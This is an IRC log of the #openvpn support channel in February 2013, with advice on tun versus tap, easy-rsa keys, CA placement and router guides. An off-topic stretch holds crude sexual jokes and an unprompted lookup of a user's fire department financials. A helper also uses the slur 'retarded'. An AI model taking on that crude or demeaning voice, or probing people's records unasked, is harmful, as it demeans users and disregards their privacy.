07:56 < Holiday> dazo: if you think non-bridged would be better, although the other guy doesn't want to use NAT or MASQ.. I'm really hoping for some good insight (I read all 48 pages of the man files and I'm still at this point lol)
07:56 < rob0> The !tunortap factoid gave a little overview of when to use tap.
07:56 <@dazo> Holiday: my policy is that I don't help people with bridges before I get a reasonable explanation why to use bridges
07:57 < havoc> but routing requires cooperation by the guy on the other end, which may or may not be possible?
07:57 <@dazo> that's anyhow a human issue ... not a technical issue ;-)
07:57 < havoc> dazo: but still justification for bridge mode :)
07:58 <@dazo> havoc: not in my book ;-)
07:58 < havoc> dazo: if you don't have control over the remote network, you don't have a choice
07:58 <@dazo> havoc: you have always a choice
07:58 < havoc> I'm not saying that's Holiday's case, I'm just pointing it out
07:59 < havoc> dazo: ...to not do it at all
07:59 < Holiday> dazo: Initially having read that with the IPv6 and same broadcast domain sounded like what he wants (plus we've been big into getting into IPv6 so at *some point* (when everyone else.. ISPs etc catch up) we'll want that)
07:59 <@dazo> Holiday: OpenVPN 2.3 supports IPv6
07:59 <@dazo> in tun
07:59 < Holiday> dazo: but for the time if I can get away non-bridged and it's easier, I'm all for it. At this point I just want this thing up lol
08:00 <@dazo> Holiday: most support cases here which starts with bridging (that's something like 99% of the cases) ends up with having less troubles and an easier config using a routed setup
08:00 < Holiday> dazo: I'll let the other guy know.. he's also a stickler for repo's.. he has to build the packages himself and only did the 2.2.1 because he wasn't sure if 2.3 was 100% yet.. but he's willing to swap that that's not a problem. But minus the IPv6, I should just forgo the bridge
08:01 < Holiday> dazo: so should I stick with tap or go tun if I'm not doing a bridge?
08:01 <@dazo> Holiday: and the biggest issue with bridging is scalability and a massive amount of broadcast traffic which lowers the performance ...
08:01 < havoc> Holiday: bridging is also problematic as it adds another point of failure; the bridge
08:02 <@dazo> Holiday: go for tun ... if you read that wiki page I sent you, it's all explained there
08:02 < Holiday> dazo & havoc: which is what I'm trying to get away from.. just like with the IPsec/L2TP + ppp you have a lot of layers where one incompatibility or whatever makes the whole thing barf
08:02 < havoc> gah, I still have much to convert to TUN :(
08:03 < Holiday> dazo: okay thanks! I'll modify what I have but I'm sure I'll be back with more issues lol (hopefully not though)
08:03 <@dazo> Holiday: if you know network routing .... you'll have solved tun mode easily
08:04 <@dazo> (and it will perform better than tap too)
08:05 <@plaisthos> and mobile phone client don't lack tap at all
08:06 <@dazo> s/n't//  ??
08:07 <@plaisthos> s/lack/like/
08:07 <@dazo> ahh :)
08:09 <@plaisthos> !learn tunortap as Normal Android/iOS devices (not rooted/jailbroken) support only tun.
08:09 <@vpnHelper> Joo got it.
08:09 <@plaisthos> !tunortap
08:09 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against
08:09 <@vpnHelper> you over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
08:21 -!- y4h0 [~yavor@78.128.23.17] has quit [Ping timeout: 248 seconds]
08:22 -!- y4h0 [~yavor@78.128.23.17] has joined #openvpn
08:25 -!- pa__ [~pa@host55-12-dynamic.61-82-r.retail.telecomitalia.it] has joined #openvpn
08:33 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
08:35 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:45 < fys> I officially hate Lousiana.
08:46 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
08:47 < fys> well it'd help if i spelled their shitty state's name right
08:49 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
08:55 -!- p3rror [~mezgani@2001:0:53aa:64c:3844:2fc2:d606:77cf] has quit [Ping timeout: 245 seconds]
08:55 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has joined #openvpn
08:55 -!- ade_b [~Ade@h31-3-227-203.host.redstation.co.uk] has quit [Changing host]
08:55 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:59 -!- pa__ [~pa@host55-12-dynamic.61-82-r.retail.telecomitalia.it] has quit [Ping timeout: 248 seconds]
08:59 < rob0> The Great Firewall of Lousyana?
09:00 <@novaflash> :)
09:00 < fys> lol
09:00 < EugeneKay> Everybody does, fys.
09:00 <@novaflash> i knew a girl like that once
09:00 < fys> No, they have one of the few states that require a title be signed in front of a notary public.
09:00 < fys> And I need this title signed.
09:00 < EugeneKay> Car?
09:01 < fys> I'm not in Lousiana
09:01 < fys> Nah, scooter.
09:01 < EugeneKay> Close enough
09:01  * EugeneKay goes back to drooling over new fire trucks
09:01 < fys> New.. fire.. trucks?
09:01 < fys> Okay..
09:01 < fys> o_o
09:01 <@novaflash> EugeneKay's experiencing his third childhood
09:01 < fys> lol
09:02 < EugeneKay> I'm a volunteer firefighter :-p
09:02 <@novaflash> it's actually still the first - he never grew out of it - but by counting the years of an average childhood, he's in his third childhood now
09:02 < EugeneKay> ....I'm only 24
09:02 <@novaflash> that's very laudable EugeneKay :)
09:02 < EugeneKay> And no, I didn't. :-p
09:02 < fys> I'm 24 too and not even close to exiting childhood.
09:02 <@novaflash> you young whippersnappers
09:03 < EugeneKay> But continuing my childhood is when I play with my legos(also mostly firefighter kits). This is srs bzns :-p
09:03 < rob0> EugeneKay! Me too!
09:03 < EugeneKay> Our dept is applying for a FEMA grant to get a new truck. So, I'm drooling.
09:03 <@novaflash> legos is serious.
09:03 <@novaflash> neat
09:03 < rob0> We got a nice new truck in late '11
09:03 < EugeneKay> Commercial chassis or a proper cabover?
09:03 <@novaflash> rob0; 1911?
09:04 < EugeneKay> No no, the 1911 is in it's holster in my underwear drawer
09:04 < EugeneKay> next to my 459
09:04 < rob0> let me see if I can google up a picture
09:04 < EugeneKay> And my 22 >_>
09:04 < EugeneKay> I think the .38 Special is in there too
09:04 -!- cosmicgate [~root@94.249.242.85] has joined #openvpn
09:04 < EugeneKay> Come to think of it, that's not the underwear drawer at all. It's the gun drawer.
09:05 <@novaflash> underwear is where i keep my biological gun
09:06 < EugeneKay> Anyway..... yeah, new truck :-D
09:06 < EugeneKay> Hopefully we get the grant
09:06 < rob0> This vehicle pictured above is an E-ONE Tradition ES Commercial Pumper mounted on a Prep M2 Chassis. Purchased by Chief Dewayne Lovelace and the Valley Grove Fire Department, 5th Distric of Tishomingo County, Belmont, Mississippi. Shop Order #136313. http://www.sunbeltfire.com/recent-deliveries.html top right
09:06 <@vpnHelper> Title: Sunbelt Fire - Serving the Fire industry (at www.sunbeltfire.com)
09:06  * EugeneKay looks to see if it came through today
09:06 < EugeneKay> Nice rig. Looks remarkably like the one we have spec'ed
09:06 < EugeneKay> Top-mount pump controls?
09:07 < rob0> yes, the walkway behind the cab
09:07 < EugeneKay> Very nice
09:07 < EugeneKay> Are your ladders under the hosebed or down the right ide?
09:07 < rob0> oh hey, Red Bay's truck is also there. "Big" nearby town.
09:08 < rob0> ladders on the right
09:08 -!- p3rror [~mezgani@2001:0:53aa:64c:2484:2fc2:d606:f5f2] has joined #openvpn
09:08 < EugeneKay> We're going for under-hose. We need the storage space
09:08 <@novaflash> ladies and gentleman, this is no longer #openvpn but #bigredfiretrucks
09:08 <@ecrist> i like to be under hoes.  sometimes they're under me
09:09 < EugeneKay> Damn right it is
09:09 <@novaflash> ecrist: good moment to pitch in - i was just thinking how bigredfiretrucks could be a name for a porn site where the sluts handle guys with big hoses
09:09 < rob0> we also have an old tanker, converted milk truck. That's what we usually take to fires, because there are few fires in our area, we go as backup. And they want the water!
09:09 < EugeneKay> Damn, they haven't updated the list for today yet
09:09  * novaflash slaps BRAZZERS logo onto channel
09:10 <@ecrist> EugeneKay: what town are you looking for?
09:10 < EugeneKay> We have.... a 1984 Pierce pumper(second-hand from a NY dept), a big brush truck, two ~2000gallon tankers(one with 6x6), and a Chevy 350 pickup with a rescue body installed
09:10 -!- dazo is now known as dazo_afk
09:10 < EugeneKay> ecrist - I'm Fairview Rural Fire Dept, Arkansas
09:13 -!- p3rror [~mezgani@2001:0:53aa:64c:2484:2fc2:d606:f5f2] has quit [Max SendQ exceeded]
09:14 <@ecrist> that's a rather new fire dept
09:15 < EugeneKay> 80-something
09:15 <@ecrist> Filing date of Januar, 2004
09:15 <@ecrist> January*
09:15 <@ecrist> maybe the incorporation is new
09:15 < EugeneKay> The non-profit incorporation?
09:16 <@ecrist> yeah
09:16 <@ecrist> EIN 71-0688930
09:16 < EugeneKay> Yeah, no idea about that
09:16 < EugeneKay> I know the dept was started in the 80s
09:16 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 276 seconds]
09:16 <@ecrist> reported assets of $303,239 FY 2011
09:17 < EugeneKay> Sounds about right
09:17 < rob0> wow, them is some bucks!
09:17 < EugeneKay> I know our annual operating budget is ~$30k
09:17 <@ecrist> assets include equipment, rob0
09:17 < rob0> We have about a grand or so.
09:17 < rob0> county owns our equipment
09:17 <@ecrist> EugeneKay: operating budget FY was reported at $46,239
09:18 < EugeneKay> That includes the grant money :-p
09:18 < cosmicgate> not bad
09:19 < rob0> so your new truck will be in the $200K range?
09:19 < EugeneKay> Sounds right. I'm not on the board, so I don't know all the numbers offhand
09:19 < rob0> I think ours was ~$180K.
09:20 < EugeneKay> Buuuuut, it really comes down to whether we get the truck grant
09:20 < EugeneKay> I think they cover 80% of it
09:20 -!- krzee [nobody@hemp.ircpimps.org] has quit [Ping timeout: 245 seconds]
09:24 < EugeneKay> I want to get myself a new pickup next year, equip it out as a reserve unit.
09:25 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:35 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
09:36 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
09:37 -!- nickanderson_afk is now known as nickanderson
09:50 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
09:51 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has quit [Remote host closed the connection]
10:10 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Ping timeout: 255 seconds]
10:12 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:19 -!- Orbi [~opera@anon-185-149.vpn.ipredator.se] has joined #openvpn
10:20 -!- diffen3 [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
10:21 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Read error: No route to host]
10:41 -!- cosmicgate [~root@94.249.242.85] has quit [Ping timeout: 248 seconds]
10:56 -!- raidz_away is now known as raidz
10:58 -!- AsadH is now known as zz_AsadH
11:02 -!- ben1066_ [~quassel@2a03:b200:9::824e:1e6e] has joined #openvpn
11:02 -!- ben1066_ [~quassel@2a03:b200:9::824e:1e6e] has quit [Changing host]
11:02 -!- ben1066_ [~quassel@unaffiliated/ben1066] has joined #openvpn
11:03 -!- ben1066 [~quassel@unaffiliated/ben1066] has quit [Read error: Connection reset by peer]
11:06 < RealRancor> Hi. Is anyone running IPv6 with openvpn? I'm trying to get this to work with OpenVPN 2.3 (on client and server) but can't get my client to communicate with the "outer world".
11:06 < RealRancor> My client is able to reach (ping) the IPs of the server, but not anything outside.
11:06 < RealRancor> The relevant details are posted here:
11:06 < RealRancor> http://pastebin.com/hLGAr14v
11:07 < RealRancor> The server is running on debian 6.0, the client on debian testing.
11:08 < RealRancor> Hope all needed infos are posted, if not please let me now. Any hints are welcome.
11:08 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
11:09 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 260 seconds]
11:11 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
11:13 -!- corretico [~luis@190.211.93.38] has joined #openvpn
11:16 -!- thansen [~thansen@63-248-42-154.static.orml012.digis.net] has joined #openvpn
11:17 < thansen> seemingly randomly I'm getting a TLS_ERROR: BIO read tls_read_plaintext error: error:1408F06B:SSL routines:SSL3_GET_RECORD:bad decompression
11:18 < thansen> from my client.  I just rebooted but had a working connection before the reboot so I'm assuming something has gone awry on my client machine
11:18 < thansen> anyone have a tip for me?
11:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
11:24 < lickalott> gents, trying to source ./vars and I keep getting this error "NOTE: If you run ./clean-all, I will be doing a rm -rf on /usr/share/doc/openvpn/examples/easy-rsa/2.0/keys"
11:24 < lickalott> I'm following this - http://tomatousb.org/tut:openvpn
11:24 <@vpnHelper> Title: OpenVPN - TomatoUSB (at tomatousb.org)
11:24 < lickalott> am I missing something?
11:24 < lickalott> *note* just for the key generation not the firmware
11:28 < RealRancor> lickalott: Mhhh, i got the same. This is just a NOTE, no error.
11:28 < RealRancor> Got the same note and all keys where generated here.
11:29 < lickalott> i don't see the keys dir
11:30 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:31 < RealRancor> source ./vars don't generate the keys, you have to follow the other steps
11:33 < lickalott> just worked
11:33 < lickalott> tks...   I just assumed that the error was talking about /keys and that it needed to be there.
11:38 -!- Orbi [~opera@anon-185-149.vpn.ipredator.se] has quit [Quit: Orbi]
11:39 < lickalott> okay, i'm good on the keys now.  here's my other question.  I don't want to generate and/or store the keys on the router so i want my ubuntu server to be the CA (which seems to be the case now)  Once in the admin GUI I can easily direct to the server for keys right?
11:46 -!- Greek-Boy [~Greek-Boy@41.138.223.11] has joined #openvpn
11:54 < Greek-Boy> Hello guys. Just need some advise on a OpenVPN setup. I have a Voip softswitch that routes calls to multiple branches that are behind NAT. I was thinking that I should make the softswitch an openvpn server and put a pfsense at each branch and connect them via openvpn. Is this advisable or is it perhaps better to have the softswitch establish an openvpn connection to each pfsense at branches?
12:04 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
12:15 <@ecrist> Greek-Boy: sounds smart to me
12:15 <@ecrist> then you don't need to deal with SRTP/SIPS between branches
12:16 < Greek-Boy> thanks
12:16 < Greek-Boy> just wanted to make sure that it makes sense
12:17 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
12:17 -!- C-S-B_ [~csb@host81-157-117-86.range81-157.btcentralplus.com] has quit [Read error: Connection reset by peer]
12:23 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
12:24 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
12:26 -!- Greek-Boy [~Greek-Boy@41.138.223.11] has quit [Remote host closed the connection]
12:26 -!- Greek-Boy [~Greek-Boy@41.138.223.11] has joined #openvpn
12:41 -!- dazo_afk is now known as dazo
12:42 < Greek-Boy> ecrist: Will openvpn be stable with good uptime?
12:49 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 256 seconds]
12:52 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
12:58 <@dazo> lickalott: you have the right approach, not having the CA on your openvpn box ... all you need on your openvpn server is dh*.pem, server.key, server.crt and ca.crt .... the clients only need client.key, client.crt and ca.crt
12:58 <@dazo> lickalott: your CA files (the easy-rsa files) can be completely off-line until you need to generate new keys/certs
13:00 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Remote host closed the connection]
13:02 <@ecrist> Greek-Boy: depends on your internet connection
13:02 <@ecrist> the only time our vpn link goes down is because of a general transport error of some sort
13:19 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 255 seconds]
13:20 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
13:22 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:32 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
13:38 -!- [WDKevin] [~WDKevin@173-163-136-177-centralpennsylvania.hfc.comcastbusiness.net] has joined #openvpn
13:41 -!- WDKevin [~WDKevin@173-163-136-177-centralpennsylvania.hfc.comcastbusiness.net] has quit [Ping timeout: 248 seconds]
13:59 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
14:19 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has joined #openvpn
14:23 -!- novaflash is now known as novaflash_away
14:23 -!- novaflash_away is now known as novaflash
14:31 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
14:33 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
15:08 -!- thansen [~thansen@63-248-42-154.static.orml012.digis.net] has left #openvpn ["Ex-Chat"]
15:15 -!- r3zon8 [~r3zon8@vpn.interimhealthcare.com] has joined #openvpn
15:17 < r3zon8> someone using a syno nas as vpn server with ios clients?
15:22 < pekster> Probably not. There are folks here that have used openvpn in general with iOS clients though
15:50 -!- sam1 [~sam@194-236-182-101.customer.telia.com] has quit [Quit: sam1]
15:51 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 255 seconds]
15:55 -!- ade_b [~Ade@koln-5d815f84.pool.mediaWays.net] has joined #openvpn
15:55 -!- ade_b [~Ade@koln-5d815f84.pool.mediaWays.net] has quit [Changing host]
15:55 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
16:02 -!- Greek-Boy [~Greek-Boy@41.138.223.11] has quit [Ping timeout: 264 seconds]
16:02 -!- dazo is now known as dazo_afk
16:12 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:19 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:22 -!- nickanderson is now known as nickanderson_afk
16:26 < EugeneKay> !notopenvpn
16:26 <@vpnHelper> "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
16:39 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
16:42 -!- MarKsaitis [~MarKsaiti@5e0533a1.bb.sky.com] has joined #openvpn
16:45 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 248 seconds]
16:54 < Devastator> pekster, good evening, when you have the time to take a look, here it is: http://codepad.org/Q2ZncsQB
16:54 <@vpnHelper> Title: Plain Text code - 27 lines - codepad (at codepad.org)
16:54 < Devastator> thanks in advance for this
16:58 -!- emmanuelux [~emmanuelu@94.23.150.162] has joined #openvpn
17:11 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
17:51 -!- nickanderson_afk is now known as nickanderson
17:51 -!- brute11k [~brute11k@89.249.235.89] has quit [Read error: Connection reset by peer]
17:52 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
17:53 -!- nickanderson is now known as nickanderson_afk
17:53 -!- nickanderson_afk is now known as nickanderson
17:55 -!- bjh4 [~bjh4@ool-4357696f.dyn.optonline.net] has quit [Remote host closed the connection]
17:59 -!- emmanuel__ [~emmanuelu@94.23.150.162] has joined #openvpn
18:00 -!- emmanuelux [~emmanuelu@94.23.150.162] has quit [Quit: emmanuelux]
18:00 -!- emmanuel__ [~emmanuelu@94.23.150.162] has quit [Read error: Connection reset by peer]
18:05 -!- brute11k [~brute11k@89.249.235.89] has quit [Read error: Connection reset by peer]
18:07 -!- diffen3 [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Quit: Leaving]
18:09 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
18:14 -!- nickanderson is now known as nickanderson_afk
18:17 -!- brute11k [~brute11k@89.249.235.89] has quit [Read error: Connection reset by peer]
18:17 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
18:17 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
18:17 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
18:18 -!- mode/#openvpn [+o krzee] by ChanServ
18:19 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
18:21 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Quit: No Ping reply in 180 seconds.]
18:21 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
18:23 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
18:26 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
18:27 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 264 seconds]
18:51 -!- nickanderson_afk is now known as nickanderson
19:03 -!- mattwj2002 [~matt@wikisource/pdpc.active.mattwj2002] has joined #openvpn
19:04 -!- raidz is now known as raidz_away
19:04 < mattwj2002> community edition?
19:04 <@ecrist> what?
19:05 < mattwj2002> what is the free version like?
19:05 <@ecrist> are you an AS user?
19:05 <@ecrist> !as
19:05 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
19:05 < mattwj2002> actually not yet
19:06 <@ecrist> AS has a nice GUI/web page
19:06 < mattwj2002> I just wanted to know how hard the open source version is
19:06 <@ecrist> the open-source version requires you create a config with a file
19:06 <@ecrist> it's not that hard, as long as you're not retarded
19:06 < mattwj2002> :)
19:06 <@ecrist> !howto
19:06 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:07 < mattwj2002> no paying per user?
19:07 <@ecrist> nope
19:07 < mattwj2002> sweet
19:07 < rob0> Free software is never like that.
19:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:08 < mattwj2002> good point
19:08 < mattwj2002> or connection whatever
19:08 < mattwj2002> :)
19:17 -!- cosmicgate [~root@94.249.242.85] has joined #openvpn
19:17 -!- cosmicgate is now known as Guest20058
19:21 -!- mattwj2002 [~matt@wikisource/pdpc.active.mattwj2002] has left #openvpn []
19:24 -!- MarKsaitis [~MarKsaiti@5e0533a1.bb.sky.com] has quit [Ping timeout: 260 seconds]
19:26 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
19:26 -!- nickanderson is now known as nickanderson_afk
19:27 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
19:44 -!- nickanderson_afk is now known as nickanderson
19:44 -!- Guest20058 [~root@94.249.242.85] has quit [Ping timeout: 248 seconds]
19:53 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Read error: Connection reset by peer]
19:54 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
19:55 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Client Quit]
20:02 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
20:08 -!- NuclearMeltdown is now known as UNFLUORIDATED
20:13 -!- UNFLUORIDATED is now known as UnFluoridated
20:17 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
20:17 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
20:27 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
20:48 < cirdan> ≈hey i setup openvpn tap on dd-wrt. It works great accessing my LAN but when I try to push all traffic over the vpn I can't get past my main router. lan is 10.0.0.0 vpn is 10.0.4.0 I thought I put the right iptables line in to mask the connection but maybe not.
20:50 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
20:57 -!- MeanderingCode_ [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Remote host closed the connection]
20:58 < cirdan> ah nevermind. the howto fixed it :-)
21:12 -!- [p0rk] [~WDKevin@173-163-136-177-centralpennsylvania.hfc.comcastbusiness.net] has joined #openvpn
21:14 -!- erry [erry@freenode/staff/erry] has quit [Read error: Operation timed out]
21:14 -!- erry [erry@freenode/staff/erry] has joined #openvpn
21:14 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Read error: Operation timed out]
21:15 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Read error: Operation timed out]
21:15 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn
21:15 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
21:15 -!- [WDKevin] [~WDKevin@173-163-136-177-centralpennsylvania.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
22:31 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
22:43 -!- nickanderson is now known as nickanderson_afk
23:03 -!- UnFluoridated is now known as NuclearMeltdown
23:08 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
23:28 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
23:30 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
23:34 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Ping timeout: 248 seconds]
23:42 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
23:42 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
23:44 -!- Guest20058 [~root@94.249.242.85] has joined #openvpn
23:46 < md_5> Is there a way I can make openvpn do this: 10.0.0.1 connects to port 1234 on server 11.0.0.0.. 11.0.0.0 forwards to 12.0.0.0:1234 . The application on 12.0.0.0:1234 transparently sees the connection as coming from 10.0.0.1
23:47 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 244 seconds]
23:55 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
23:59 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 252 seconds]
--- Day changed Sat Feb 09 2013
00:02 -!- Devastator [~devas@unaffiliated/devastator] has quit []
00:04 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
00:06 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
00:08 -!- rych [~root@94.249.242.85] has joined #openvpn
00:10 -!- Guest20058 [~root@94.249.242.85] has quit [Ping timeout: 248 seconds]
00:12 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
00:14 -!- Guest20058 [~root@94.249.242.85] has joined #openvpn
00:16 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 240 seconds]
00:17 -!- rych [~root@94.249.242.85] has quit [Ping timeout: 248 seconds]
00:18 -!- Guest20058 [~root@94.249.242.85] has quit [Ping timeout: 248 seconds]
00:18 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
00:20 < lickalott> gents, following this guide - http://www.serverwatch.com/tutorials/article.php/3924556/Setting-Up-a-VPN-Server-on-a-Tomato-Router-Part-2.htm but the version is different so not all the settings are lining up.  Does anyone know of a different/better guide?
00:20 <@vpnHelper> Title: Setting Up a VPN Server on a Tomato Router, Part 2 (at www.serverwatch.com)
00:20 < lickalott> I can't get the service to start
00:22 < pekster> The supported configuration guide is:
00:22 < pekster> !howto
00:22 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
00:23 < pekster> Most folks here don't like dealing with frontends since that's the responsible of the person/group maintaining it to support. If tomato web config isn't working, you should ask them why. The openvpn program loads settings from a configuration file and command-line arguments
00:23 < pekster> responsibility*
00:23 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
00:25 < lickalott> I think it is more of a stupidity thing (on my part) than a "not working" thing on thiers...  Figured I'd come to the masters.  I'll see if they have anything to say, but the last 4 times I've posted in that chan i got no responses.   Thanks for the assist though.
00:26 < pekster> No idea what you mean "the version is diffferent and not all the settings are lining up"
00:27 < pekster> We can help if you post your openvpn settings. That guide doesn't show me any VPN settings, or yours speciifically; obviously troubleshooting your issue requires knowing how *your* system is set up, what's not working, what you've tried, and configs/logs for your setup
00:27 < pekster> The howto link above tells you how to use OpenVPN. If you want to use something that "makes openvpn work automagically for you" this isn't the place for that. Something about "teach a man to fish..."
00:28 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
00:31 < lickalott> copy all
00:31 < lickalott> wasn't looking for a hand out.  just an up to date tut on configuring.
00:32 < lickalott> the link i posted must've come from an older version of tomato with openvpn embedded in the FW.  the screenshots don't match up to what my router page is showing.
00:32 < pekster> Yea, I get that. The problem is frontends and GUI tools have a way of hiding what's actually going on. That makes it borderline for those of us that deal with the actual openvpn project to know what's wrong, and we have better things to do than learn how every tool someone wrote works. Many of them work poorly to boot
00:33 < pekster> Logs would be a great place to start if the service fails to start
00:33 < pekster> !logs
00:33 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
00:34 < lickalott> gotcha.  Lemme mess around more if i get stuck I'll know how to provide the right questions and where to go.  :D
00:37 -!- Aegela [~Aegela@180.249.40.39] has joined #openvpn
00:39 -!- Aegela [~Aegela@180.249.40.39] has left #openvpn []
00:40 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
00:42 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
00:45 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
